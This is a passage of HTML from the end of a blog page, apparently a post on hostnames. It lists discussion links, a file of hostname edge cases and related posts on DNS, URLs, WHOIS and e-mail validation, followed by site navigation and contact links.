<li><small><a href="https://lobste.rs/s/8xihmq">Discussion on Lobsters</a></small></li>
<li><small><a href="https://www.reddit.com/r/devopsish/comments/qbhf0m/whats_in_a_hostname/">Discussion on Reddit</a></small></li>
<li><small><a href="hostnames.txt">A file with all of the edge cases from this blog post</a></small></li>
<li><small><a href="https://github.com/jschauma/dns-rrs/">DNS zonefiles used in this blog post</a></small></li>
<li><small><a href="tlds.html">TLDs -- Putting the '.fun' in the top of the DNS</a></small></li>
<li><small><a href="urls.html">URLs: It's complicated...</a></small></li>
<li><small><a href="dns-rrs.html">(All) DNS Resource Records</a></small></li>
<li><small><a href="whois.html">WHOIS: Fragile, unparseable, obsolete... and universally relied upon</a></small></li>
<li><small><a href="email.html">Your E-Mail Validation Logic is Wrong</a></small></li>
</ul>
</td>
</tr>
</table>
<hr class="noshade" style="width:100%;">
<small>
&larr; [<a href="return-printf.html">There is no 'printf'.</a>]
<div style="float: right;">[<a href="inet_aton.html">IPv4 addresses are silly, <tt>inet_aton(3)</tt> doubly so.</a>] &rarr;</div>
</small>
<hr class="noshade" style="width:100%;">
<small>
[<a href="../index.html">homepage</a>]&nbsp;
[<a href="index.html">blog</a>]&nbsp;
[<a href="mailto:jschauma@netmeister.org">jschauma@netmeister.org</a>]&nbsp;
[<a href="https://mstdn.social/@jschauma">@jschauma</a>]&nbsp;
[<a href="rss.xml">RSS</a>]
</small>
<div class="container">
<label class="switch" for="theme-checker" title="Dark/Light mode">
<span class="slider round"></span>
</label>
</div>
<hr class="noshade" style="width:100%;">
</body>
</html>